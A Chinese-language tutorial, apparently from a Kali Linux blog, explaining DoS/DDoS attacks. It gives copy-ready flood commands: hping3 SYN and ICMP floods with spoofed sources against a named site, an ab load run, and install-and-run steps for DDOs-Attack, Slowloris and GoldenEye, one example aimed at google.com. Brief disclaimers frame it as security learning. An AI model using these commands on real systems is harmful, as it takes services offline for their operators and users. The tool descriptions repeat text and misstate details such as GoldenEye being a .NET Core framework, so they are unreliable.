前言
大家作为一名网络安全爱好者,切记请勿恶意攻击他人
什么是DOS/DDOS
大家看到这个攻击名称是不是很熟悉,在近期的很多电影剧情中我们都会看到网络上很多人大量使用网络流量这种攻击来瘫痪和增加服务器的负担,使网站脱机无法使用
那我们细讲一下,所谓DOS
就是指拒绝服务攻击。攻击者发送大量的恶意请求,从而增加服务器的负担。从而造成正常用户访问异常。而DDOS
攻击(分布式拒绝服务),就是攻击者控制的大量的“肉鸡”,通过肉鸡在进行DOS
攻击。而这种攻击也最难防御。
常见的攻击方式
讲一下一共有三个常见的方式
基于TCP协议的攻击
通过发送大量的TCP协议报文,从而使得服务器处于一个半链接状态(不能连上网)!
如图:进行了 1,2步骤 没有进行第3步。如,我们在kali中执行下面命令
hping3 -c 150000 --flood -S --rand-source bbskali.cn
这时,我们便可以看到,有很多IP同时在访问目录。
基于icmp协议的攻击
就是发送大量的ping包,让服务器瘫痪
hping3 --icmp --flood -d 1400 --rand-source bbskali.cn
web压力测试
压力测试也称为cc
攻击。通过模拟多用户多线程请求,来消耗CPU和内存。ab
(Apache Bench)apache性能测试工具,这是 apache 免费自带的性能测试工具,能模拟多个并发请求(支持 HTTPS)。在kali中已默认自带,无需再次安装。
ab -t 60 -c 500 -n 500 https://bbskali.cn/thread-413-1-1.html
Kali Linux中两个常用的DDOS工具
DDOs-Attack
安装
git clone https://github.com/Ha3MrX/DDOs-Attack
cd DDOs-Attack
chmod +x ddos-attack.py
python ddos-attack.py
输入目标网址和端口便可完成 ddos
Slowloris
Slowloris
是 Github 上提供的免费开源工具。我们可以使用此工具执行拒绝服务攻击。这是一个用python
编写的框架。此工具允许单台机器关闭另一台机器的 Web
服务器,它使用完全合法的 HTTP
流量。它建立一个完整的 TCP
连接,然后在长期和定期的时间间隔只需要几百个请求。因此,该工具不需要花费大量流量来耗尽服务器上的可用连接。
Slowloris 的用途:
Slowloris
向目标发送多个请求,因此会产生大量流量的僵尸网络。Slowloris
可用于对任何网络服务器执行 ddos 攻击。它是一个开源工具,因此您可以从 github 免费下载它。它使用完全合法的 HTTP 流量。可以在 Slowloris 的帮助下通过产生大量僵尸网络流量来执行拒绝服务攻击。
安装
git clone https://github.com/gkbrk/slowloris.git
python3 slowloris .py(你的IP地址)-s 500
Goldeneye
Goldeneye
是GitHub 上提供的免费开源工具。我们可以使用此工具执行拒绝服务攻击。它是一个用 .NET Core
编写的框架。该工具提供了许多用于日常工作的基类和扩展。此工具允许单台机器关闭另一台机器的 Web 服务器,它使用完全合法的 HTTP 流量。它建立一个完整的 TCP 连接,然后在长期和定期的时间间隔只需要几百个请求。因此,该工具不需要使用大量流量来耗尽服务器上的可用连接。
特征
-
Goldeneye 使用完全合法的 HTTP 流量。拒绝服务攻击可以在 Goldeneye 的帮助下通过产生大量僵尸网络流量来执行。
-
Goldeneye 向目标发送多个请求,结果会产生大量流量的僵尸网络。
-
Goldeneye 是一个开源工具,因此您可以从 GitHub 免费下载它。
-
Goldeneye 可用于对任何网络服务器执行 ddos攻击。
安装
git clone https://github.com/jseidl/GoldenEye.git
#示例 1使用 GoldenEye 工具对任意域进行 DDoS 攻击。
./goldeneye.py https://www.google.com -s 1000
#以“随机”模式发送流量
./goldeneye.py http://192.168.0.233:80/ -s 10 -m 6
结言
同时本文的主旨在于网络安全学习,再次强调请勿非法恶意攻击,造成后果自负,感兴趣的读者可以自行查阅深入了解。